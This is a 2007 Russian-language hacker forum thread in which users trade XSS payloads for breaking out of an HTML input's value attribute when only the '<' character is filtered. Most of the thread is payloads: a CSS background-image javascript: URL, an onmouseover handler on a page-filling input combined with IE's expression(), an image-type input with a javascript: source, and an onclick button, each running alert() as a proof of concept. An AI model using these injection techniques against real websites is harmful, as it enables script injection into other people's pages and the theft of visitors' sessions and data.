Провести XSS в <input>

Discussion in 'PHP' started by hhover, 30 Jun 2007.

  1. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    Собственно <input value="XSS" />
    Фильтруется только <
    Code:
    <input value="" style=background-image:url('javascript:alert();'); />
    Пашет только в ИЕ.
    Есть другие способы javascript всунуть, кроме background-image ?
     
  2. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    <input value="" onmouseover="alert('xek')" style="position:absolute;top:0;left:0;width:1600;height:1200;z-index:100;left:expression(alert('xek'));"/>
    для Оперы и Огнелиса - Input растягивается на всю страницу и JavaScript пишется в onMouseOver.
    для ИЕ есть возможность исполнять JavaScript через стиль используя expression()
     
    1 person likes this.
  3. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    Что-то я по серъезному тупанул, вообще забыл про события в javascript. =\
    Спасибо, проблема решена.
     
    1 person likes this.
  4. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    Оказывается, есть и кроссбраузерный вариант:
    <input value="" type=image src="javascript:alert()"/>
    Но работает он только если тип input'a еще не был определен.
     
  5. bul.666

    bul.666 булка

    Joined:
    6 Jun 2006
    Messages:
    719
    Likes Received:
    425
    Reputations:
    140
    <input type=button OnClick="javascript:alert()">

    Наверное так тоже сработает, хотя хз я все позабыл на хрен! =/